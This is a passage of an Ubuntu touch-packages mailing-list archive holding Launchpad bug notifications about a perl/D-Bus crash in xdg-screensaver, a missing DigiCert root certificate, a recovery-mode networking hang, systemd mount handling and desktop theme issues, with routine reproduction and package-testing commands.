https://bugs.launchpad.net/ubuntu/+source/qtdeclarative-opensource-src/+bug/1795650/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1743216] Re: perl crashed with SIGABRT in _dbus_abort()
Hello Carlos, or anyone else affected, Accepted xdg-utils into bionic-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/xdg- utils/1.1.2-1ubuntu2.3 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested and change the tag from verification-needed-bionic to verification-done-bionic. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-bionic. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. ** Changed in: xdg-utils (Ubuntu Bionic) Status: In Progress => Fix Committed ** Tags added: verification-needed verification-needed-bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to perl in Ubuntu. https://bugs.launchpad.net/bugs/1743216 Title: perl crashed with SIGABRT in _dbus_abort() Status in perl package in Ubuntu: Invalid Status in xdg-utils package in Ubuntu: Fix Released Status in perl source package in Bionic: New Status in xdg-utils source package in Bionic: Fix Committed Status in perl source package in Cosmic: Invalid Status in xdg-utils source package in Cosmic: Fix Released Status in xdg-utils package in Debian: Unknown Bug description: [ Description ] When xdg-screensaver suspend refers to a window with invalid UTF-8 in its title, it will spawn a perl process that crashes with an assertion: dbus[19455]: arguments to dbus_message_iter_append_basic() were incorrect, assertion "_dbus_check_is_valid_utf8 (*string_p)" failed in file ../../../dbus/dbus-message.c line 2754. This is normally a bug in some application using the D-Bus library. [ Fix ] Use decode() from the Encode module to replace invalid character sequences with U+FFFD, the replacement symbol. This is not a new dependency as Encode has been a perl core module since 5.8. [ QA ] I don't know how to get a window with such a title, so we can do two things. 1) 1. $ sudo -e $(which xdg-screensaver) # hack the script 2. Find the line "# Inhibit idle detection (flags = 8) with window name and ID." 3. Find the } on its own above that. Insert a new line afterwards and set the window name to be the same as the one in this bug, by pasting the code $window_name = "\253\062\065 Meter fehlten bis zur Katastrophe\273 - News Panorama: Vermischtes - tagesanzeiger.ch - Mozilla Firefox"; 4. Save and exit 5. $ xwininfo 6. click some window, and copy the "Window id", which will be 0x 7. $ xdg-screensaver suspend In the bad case (before this bug is fixed) it should crash, and in the good case it should work. 8. Undo what you just did by running $ xdg-screensaver resume 2) Observe that the error bucket https://errors.ubuntu.com/problem/b386f287972198daca290969b0ea5182ce8e5d52 has a reduction in report rate with the new versions. [ Regression potential ] If the code is bad then the window name passed to Inhibit() could be wrong. That shouldn't matter too much. If it is really bad then the program might crash for everybody and we'll see an increase in errors. [ Original description ] Errors Bucket - https://errors.ubuntu.com/problem/b386f287972198daca290969b0ea5182ce8e5d52 crashed after launching the software updater ProblemType: CrashDistroRelease: Ubuntu 18.04 Package: perl-base 5.26.1-4 ProcVersionSignature: Ubuntu 4.14.0-16.19-generic 4.14.12 Uname: Linux 4.14.0-16-generic x86_64 ApportVersion: 2.20.8-0ubuntu6 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Jan 14 13:30:52 2018 ExecutablePath: /usr/bin/perl InstallationDate: Installed on 2017-12-28 (17 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20171201) Signal: 6SourcePackage: perl StacktraceTop: _dbus_abort () from /lib/x86_64-linux-gnu/libdbus-1.so.3 _dbus_warn_check_failed () from /lib/x86_64-linux-gnu/libdbus-1.so.3 dbus_message_iter_append_basic () from /lib/x86_64-linux-gnu/libdbus-1.so.3 ?? () from /usr/lib/x86_64-linux-gnu/perl5/5.26/auto/Net/DBus/DBus.so Perl_pp_entersub () Title: perl crashed with SIGABRT in _dbus_abort() UpgradeStatus: No upgrade log present (probably fresh
[Touch-packages] [Bug 1795650] Re: package qtdeclarative5-test-plugin:amd64 5.9.5-0ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attem
** Tags removed: need-duplicate-check -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to qtdeclarative-opensource- src in Ubuntu. https://bugs.launchpad.net/bugs/1795650 Title: package qtdeclarative5-test-plugin:amd64 5.9.5-0ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration Status in qtdeclarative-opensource-src package in Ubuntu: New Bug description: ubuntu 18.04 lags a lot,my lappy never shuts down completely ; i have to force shut down by long press, nowadays the touchpad right click is not working , some apps i installed are not working as required , i hae to repeatedly switch off the pc and restart , please look into the problem asap ProblemType: Package DistroRelease: Ubuntu 18.04 Package: qtdeclarative5-test-plugin:amd64 5.9.5-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-33.36-generic 4.15.18 Uname: Linux 4.15.0-33-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 Date: Tue Oct 2 18:34:14 2018 DuplicateSignature: package:qtdeclarative5-test-plugin:amd64:5.9.5-0ubuntu1 Setting up fonts-lyx (2.2.3-5) ... dpkg: error processing package qtdeclarative5-test-plugin:amd64 (--configure): package is in a very bad inconsistent state; you should ErrorMessage: package is in a very bad inconsistent state; you should reinstall it before attempting configuration InstallationDate: Installed on 2018-01-22 (252 days ago) InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215.2) Python3Details: /usr/bin/python3.6, Python 3.6.6, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.3ubuntu0.1 SourcePackage: qtdeclarative-opensource-src Title: package qtdeclarative5-test-plugin:amd64 5.9.5-0ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration UpgradeStatus: Upgraded to bionic on 2018-09-02 (29 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/qtdeclarative-opensource-src/+bug/1795650/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795764] [NEW] systemd: core: Fix edge case when processing /proc/self/mountinfo
Public bug reported: >From the PR: Currently, if there are two /proc/self/mountinfo entries with the same mount point path, the mount setup flags computed for the second of these two entries will overwrite the mount setup flags computed for the first of these two entries. This is the root cause of issue #7798. This patch changes mount_setup_existing_unit to prevent the just_mounted mount setup flag from being overwritten if it is set to true. This will allow all mount units created from /proc/self/mountinfo entries to be initialized properly. One line fix in https://github.com/systemd/systemd/pull/7811/files Referenced issue: https://github.com/systemd/systemd/issues/7798 Related kubernetes issue: https://github.com/kubernetes/kubernetes/issues/57345 systemd v237 has this fix, but we'd like to have it fixed in 16.04. ** Affects: systemd (Ubuntu) Importance: Undecided Status: Confirmed ** Changed in: systemd (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1795764 Title: systemd: core: Fix edge case when processing /proc/self/mountinfo Status in systemd package in Ubuntu: Confirmed Bug description: From the PR: Currently, if there are two /proc/self/mountinfo entries with the same mount point path, the mount setup flags computed for the second of these two entries will overwrite the mount setup flags computed for the first of these two entries. This is the root cause of issue #7798. This patch changes mount_setup_existing_unit to prevent the just_mounted mount setup flag from being overwritten if it is set to true. This will allow all mount units created from /proc/self/mountinfo entries to be initialized properly. One line fix in https://github.com/systemd/systemd/pull/7811/files Referenced issue: https://github.com/systemd/systemd/issues/7798 Related kubernetes issue: https://github.com/kubernetes/kubernetes/issues/57345 systemd v237 has this fix, but we'd like to have it fixed in 16.04. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1795764/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775429] Re: Label in stackswitcher button is not bold when selected
Not something is done by Adwaita too, so please something to report upstream instead. ** Changed in: ubuntu-themes Status: New => Opinion ** Changed in: ubuntu-themes (Ubuntu) Status: New => Opinion -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1775429 Title: Label in stackswitcher button is not bold when selected Status in Ubuntu theme: Opinion Status in ubuntu-themes package in Ubuntu: Opinion Bug description: Steps: 1. Start gnome-software 2. Select and observe the stackswitcher buttons at the top: All, Installed and Updates The label in the stackswitcher button is not bald when selected. That behaviour is inconsistent with the pathbar in Nautilus, where the label is bald when selected. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: light-themes 16.10+18.04.20180421.1-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-22.24-generic 4.15.17 Uname: Linux 4.15.0-22-generic x86_64 NonfreeKernelModules: wl nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed Jun 6 18:19:35 2018 InstallationDate: Installed on 2018-06-03 (3 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) PackageArchitecture: all SourcePackage: ubuntu-themes UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-themes/+bug/1775429/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1739931] Re: Separator lines in shell popup menus are too faint to see
** Merge proposal linked: https://code.launchpad.net/~3v1n0/ubuntu/+source/gnome-shell/+git/gnome-shell/+merge/356023 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1739931 Title: Separator lines in shell popup menus are too faint to see Status in gnome-shell package in Ubuntu: Fix Released Status in gnome-shell-extension-ubuntu-dock package in Ubuntu: Won't Fix Status in ubuntu-themes package in Ubuntu: Won't Fix Bug description: when I click on the dock icons, some of the lines in the popup menus are blank and some of them appear to be incorrect. see top left of attached screenshot. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: nautilus 1:3.26.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.13.0-16.19-generic 4.13.4 Uname: Linux 4.13.0-16-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.6 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sat Dec 23 22:24:40 2017 InstallationDate: Installed on 2016-08-18 (492 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: nautilus UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1739931/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1739931] Re: Separator lines in shell popup menus are too faint to see
** Changed in: gnome-shell (Ubuntu) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1739931 Title: Separator lines in shell popup menus are too faint to see Status in gnome-shell package in Ubuntu: Fix Released Status in gnome-shell-extension-ubuntu-dock package in Ubuntu: Won't Fix Status in ubuntu-themes package in Ubuntu: Won't Fix Bug description: when I click on the dock icons, some of the lines in the popup menus are blank and some of them appear to be incorrect. see top left of attached screenshot. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: nautilus 1:3.26.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.13.0-16.19-generic 4.13.4 Uname: Linux 4.13.0-16-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.6 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sat Dec 23 22:24:40 2017 InstallationDate: Installed on 2016-08-18 (492 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: nautilus UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1739931/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775429] Re: Label in stackswitcher button is not bold when selected
I was not clear enough. That behaviour is inconsistent with the pathbar in Nautilus using Ambiance, where the label is bald when selected. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1775429 Title: Label in stackswitcher button is not bold when selected Status in Ubuntu theme: Opinion Status in ubuntu-themes package in Ubuntu: Opinion Bug description: Steps: 1. Start gnome-software 2. Select and observe the stackswitcher buttons at the top: All, Installed and Updates The label in the stackswitcher button is not bald when selected. That behaviour is inconsistent with the pathbar in Nautilus, where the label is bald when selected. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: light-themes 16.10+18.04.20180421.1-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-22.24-generic 4.15.17 Uname: Linux 4.15.0-22-generic x86_64 NonfreeKernelModules: wl nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed Jun 6 18:19:35 2018 InstallationDate: Installed on 2018-06-03 (3 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) PackageArchitecture: all SourcePackage: ubuntu-themes UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-themes/+bug/1775429/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795242] Re: Digicert certificate is not included
** Changed in: ca-certificates (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ca-certificates in Ubuntu. https://bugs.launchpad.net/bugs/1795242 Title: Digicert certificate is not included Status in ca-certificates package in Ubuntu: Confirmed Bug description: The "DigiCert High Assurance EV Root CA" certificate is missing, which means that the system does not trust web sites that are using SSL certificates signed by that root. An example is a popular website in the Netherlands https://marktplaats.nl. The result is that no resources other that the text-only homepage is loaded. Installing the Digicert root certificte manually from Digicert solves the problem: ``` wget https://dl.cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt mv DigiCertSHA2SecureServerCA.crt DigiCertSHA2SecureServerCA.der openssl x509 -inform DER -outform PEM -in DigiCertSHA2SecureServerCA.der -out DigicertSHA2SecureServerCA.pem.crt sudo mkdir -p /usr/share/ca-certificates/extra sudo cp DigicertSHA2SecureServerCA.pem.crt /usr/share/ca-certificates/extra/ sudo dpkg-reconfigure ca-certificates ``` Maybe there is a valid reason for not including this certificate by default, or maybe this certificate can be included by default, since it seems like it's assumed to be included on every machine. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ca-certificates/+bug/1795242/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795242] Re: Digicert certificate is not included
Aha! https://s.marktplaats.com/ indeed gives different results on Qualys: "This server's certificate chain is incomplete. Grade capped to B." https://www.ssllabs.com/ssltest/analyze.html?d=s.marktplaats.com At the moment I think this is a misconfigured server at marktplaats.com. Probably we're not going to perform an update to include this certificate unless Mozilla decides to include it in their certificate bundle. Thanks -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ca-certificates in Ubuntu. https://bugs.launchpad.net/bugs/1795242 Title: Digicert certificate is not included Status in ca-certificates package in Ubuntu: Confirmed Bug description: The "DigiCert High Assurance EV Root CA" certificate is missing, which means that the system does not trust web sites that are using SSL certificates signed by that root. An example is a popular website in the Netherlands https://marktplaats.nl. The result is that no resources other that the text-only homepage is loaded. Installing the Digicert root certificte manually from Digicert solves the problem: ``` wget https://dl.cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt mv DigiCertSHA2SecureServerCA.crt DigiCertSHA2SecureServerCA.der openssl x509 -inform DER -outform PEM -in DigiCertSHA2SecureServerCA.der -out DigicertSHA2SecureServerCA.pem.crt sudo mkdir -p /usr/share/ca-certificates/extra sudo cp DigicertSHA2SecureServerCA.pem.crt /usr/share/ca-certificates/extra/ sudo dpkg-reconfigure ca-certificates ``` Maybe there is a valid reason for not including this certificate by default, or maybe this certificate can be included by default, since it seems like it's assumed to be included on every machine. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ca-certificates/+bug/1795242/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1739931] Re: Separator lines in shell popup menus are too faint to see
** Changed in: gnome-shell (Ubuntu) Status: Confirmed => In Progress ** Changed in: gnome-shell (Ubuntu) Assignee: (unassigned) => Marco Trevisan (Treviño) (3v1n0) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1739931 Title: Separator lines in shell popup menus are too faint to see Status in gnome-shell package in Ubuntu: In Progress Status in gnome-shell-extension-ubuntu-dock package in Ubuntu: Won't Fix Status in ubuntu-themes package in Ubuntu: Won't Fix Bug description: when I click on the dock icons, some of the lines in the popup menus are blank and some of them appear to be incorrect. see top left of attached screenshot. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: nautilus 1:3.26.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.13.0-16.19-generic 4.13.4 Uname: Linux 4.13.0-16-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.6 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sat Dec 23 22:24:40 2017 InstallationDate: Installed on 2016-08-18 (492 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: nautilus UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1739931/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766872] Re: 'Enable Network' in recovery mode not working properly.
** Summary changed: - 'Enable Network' in recovery mode not working in Bionic + 'Enable Network' in recovery mode not working properly. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1766872 Title: 'Enable Network' in recovery mode not working properly. Status in friendly-recovery package in Ubuntu: In Progress Status in systemd package in Ubuntu: Won't Fix Status in friendly-recovery source package in Xenial: Confirmed Status in systemd source package in Xenial: Won't Fix Status in friendly-recovery source package in Bionic: Confirmed Status in systemd source package in Bionic: Won't Fix Status in friendly-recovery source package in Cosmic: In Progress Status in systemd source package in Cosmic: Won't Fix Status in friendly-recovery source package in DD-Series: Confirmed Status in systemd source package in DD-Series: Won't Fix Bug description: This bug has been noticed after the introduction of the fix of (LP: #1682637) in Bionic. I have notice a block in Bionic when choosing 'Enable Network' option in recovery mode on different bionic vanilla system and I can reproduce all the time. I also asked colleagues to give it a try (for a second pair of eye on this) and they have the same result as me. Basically, when choosing 'Enable Network' it get block or lock. If we hit 'ctrl-c', then a shell arrive and the system has network connectivity. Here's what I find while enabling "systemd.debug-shell=1" from vtty9 : # pstree systemd-+-bash---pstree |-recovery-menu---network---systemctl---systemd-tty-ask |-systemd-journal # ps root 486 473 0 08:29 tty1 00:00:00 /bin/systemd-tty-ask-password-agent root 473 486 0 08:29 tty1 00:00:00 systemctl start dbus.socket root 486 283 0 08:29 tty1 00:00:00 /bin/sh /lib/recovery- mode/options/network Additionally, systemd-analyze blame: "Bootup is not yet finished. Please try again later" "systemctl list-jobs" is showing a 100 jobs in 'waiting' state The only 'running' unit is friendly-recovery.service : 52 friendly-recovery.service start running The rest are all "waiting". My understanding is that "waiting" units will be executed only after those which are "running" are completed. Which explain why the "ctlr-c" allow the boot to continue. All the systemd special unit important at boot-up are waiting. 7 sysinit.target start waiting 3 basic.target start waiting . Seems like systemd is not fully initialise in 'Recovery Mode' and doesn't allow any 'systemctl start' operation without password/passphrase request, which I suspect is hidden by the recovery-mode menu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/friendly-recovery/+bug/1766872/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766872] Re: 'Enable Network' in recovery mode not working in Bionic
** Changed in: friendly-recovery (Ubuntu Cosmic) Status: Confirmed => In Progress -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1766872 Title: 'Enable Network' in recovery mode not working properly. Status in friendly-recovery package in Ubuntu: In Progress Status in systemd package in Ubuntu: Won't Fix Status in friendly-recovery source package in Xenial: Confirmed Status in systemd source package in Xenial: Won't Fix Status in friendly-recovery source package in Bionic: Confirmed Status in systemd source package in Bionic: Won't Fix Status in friendly-recovery source package in Cosmic: In Progress Status in systemd source package in Cosmic: Won't Fix Status in friendly-recovery source package in DD-Series: Confirmed Status in systemd source package in DD-Series: Won't Fix Bug description: This bug has been noticed after the introduction of the fix of (LP: #1682637) in Bionic. I have notice a block in Bionic when choosing 'Enable Network' option in recovery mode on different bionic vanilla system and I can reproduce all the time. I also asked colleagues to give it a try (for a second pair of eye on this) and they have the same result as me. Basically, when choosing 'Enable Network' it get block or lock. If we hit 'ctrl-c', then a shell arrive and the system has network connectivity. Here's what I find while enabling "systemd.debug-shell=1" from vtty9 : # pstree systemd-+-bash---pstree |-recovery-menu---network---systemctl---systemd-tty-ask |-systemd-journal # ps root 486 473 0 08:29 tty1 00:00:00 /bin/systemd-tty-ask-password-agent root 473 486 0 08:29 tty1 00:00:00 systemctl start dbus.socket root 486 283 0 08:29 tty1 00:00:00 /bin/sh /lib/recovery- mode/options/network Additionally, systemd-analyze blame: "Bootup is not yet finished. Please try again later" "systemctl list-jobs" is showing a 100 jobs in 'waiting' state The only 'running' unit is friendly-recovery.service : 52 friendly-recovery.service start running The rest are all "waiting". My understanding is that "waiting" units will be executed only after those which are "running" are completed. Which explain why the "ctlr-c" allow the boot to continue. All the systemd special unit important at boot-up are waiting. 7 sysinit.target start waiting 3 basic.target start waiting . Seems like systemd is not fully initialise in 'Recovery Mode' and doesn't allow any 'systemctl start' operation without password/passphrase request, which I suspect is hidden by the recovery-mode menu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/friendly-recovery/+bug/1766872/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766872] Re: 'Enable Network' in recovery mode not working in Bionic
Test packages[1] are available for Xenial/16.04 & Bionic/18.04 on my PPA[2]. I did some preliminary test which seems to work as expected. Please anyone affected test the packages, and keep me posted. [1] - Test package Xenial - friendly-recovery - 0.2.31ubuntu1+testpkgb2 Bionic - friendly-recovery - 0.2.38ubuntu1+testpkgb1 [2] PPA sudo add-apt-repository ppa:slashd/test sudo apt-get update sudo apt-get install friendly-recovery Regards, Eric ** Changed in: friendly-recovery (Ubuntu Dd-series) Assignee: (unassigned) => Eric Desrochers (slashd) ** Changed in: friendly-recovery (Ubuntu Cosmic) Assignee: (unassigned) => Eric Desrochers (slashd) ** Changed in: friendly-recovery (Ubuntu Bionic) Assignee: (unassigned) => Eric Desrochers (slashd) ** Also affects: friendly-recovery (Ubuntu Xenial) Importance: Undecided Status: New ** Also affects: systemd (Ubuntu Xenial) Importance: Undecided Status: New ** Changed in: friendly-recovery (Ubuntu Xenial) Status: New => Confirmed ** Changed in: friendly-recovery (Ubuntu Xenial) Assignee: (unassigned) => Eric Desrochers (slashd) ** Changed in: friendly-recovery (Ubuntu Xenial) Importance: Undecided => Low ** Changed in: systemd (Ubuntu Xenial) Status: New => Won't Fix -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1766872 Title: 'Enable Network' in recovery mode not working in Bionic Status in friendly-recovery package in Ubuntu: Confirmed Status in systemd package in Ubuntu: Won't Fix Status in friendly-recovery source package in Xenial: Confirmed Status in systemd source package in Xenial: Won't Fix Status in friendly-recovery source package in Bionic: Confirmed Status in systemd source package in Bionic: Won't Fix Status in friendly-recovery source package in Cosmic: Confirmed Status in systemd source package in Cosmic: Won't Fix Status in friendly-recovery source package in DD-Series: Confirmed Status in systemd source package in DD-Series: Won't Fix Bug description: This bug has been noticed after the introduction of the fix of (LP: #1682637) in Bionic. I have notice a block in Bionic when choosing 'Enable Network' option in recovery mode on different bionic vanilla system and I can reproduce all the time. I also asked colleagues to give it a try (for a second pair of eye on this) and they have the same result as me. Basically, when choosing 'Enable Network' it get block or lock. If we hit 'ctrl-c', then a shell arrive and the system has network connectivity. Here's what I find while enabling "systemd.debug-shell=1" from vtty9 : # pstree systemd-+-bash---pstree |-recovery-menu---network---systemctl---systemd-tty-ask |-systemd-journal # ps root 486 473 0 08:29 tty1 00:00:00 /bin/systemd-tty-ask-password-agent root 473 486 0 08:29 tty1 00:00:00 systemctl start dbus.socket root 486 283 0 08:29 tty1 00:00:00 /bin/sh /lib/recovery- mode/options/network Additionally, systemd-analyze blame: "Bootup is not yet finished. Please try again later" "systemctl list-jobs" is showing a 100 jobs in 'waiting' state The only 'running' unit is friendly-recovery.service : 52 friendly-recovery.service start running The rest are all "waiting". My understanding is that "waiting" units will be executed only after those which are "running" are completed. Which explain why the "ctlr-c" allow the boot to continue. All the systemd special unit important at boot-up are waiting. 7 sysinit.target start waiting 3 basic.target start waiting . Seems like systemd is not fully initialise in 'Recovery Mode' and doesn't allow any 'systemctl start' operation without password/passphrase request, which I suspect is hidden by the recovery-mode menu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/friendly-recovery/+bug/1766872/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1739931] Re: Separator lines in shell popup menus are too faint to see
** Changed in: ubuntu-themes (Ubuntu) Status: Confirmed => Won't Fix ** Changed in: gnome-shell-extension-ubuntu-dock (Ubuntu) Status: Confirmed => Won't Fix ** No longer affects: ubuntu-themes -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1739931 Title: Separator lines in shell popup menus are too faint to see Status in gnome-shell package in Ubuntu: Confirmed Status in gnome-shell-extension-ubuntu-dock package in Ubuntu: Won't Fix Status in ubuntu-themes package in Ubuntu: Won't Fix Bug description: when I click on the dock icons, some of the lines in the popup menus are blank and some of them appear to be incorrect. see top left of attached screenshot. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: nautilus 1:3.26.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.13.0-16.19-generic 4.13.4 Uname: Linux 4.13.0-16-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.6 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sat Dec 23 22:24:40 2017 InstallationDate: Installed on 2016-08-18 (492 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: nautilus UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1739931/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1758841] Re: virt-manager: Light grey menu items on light grey background are barely readable
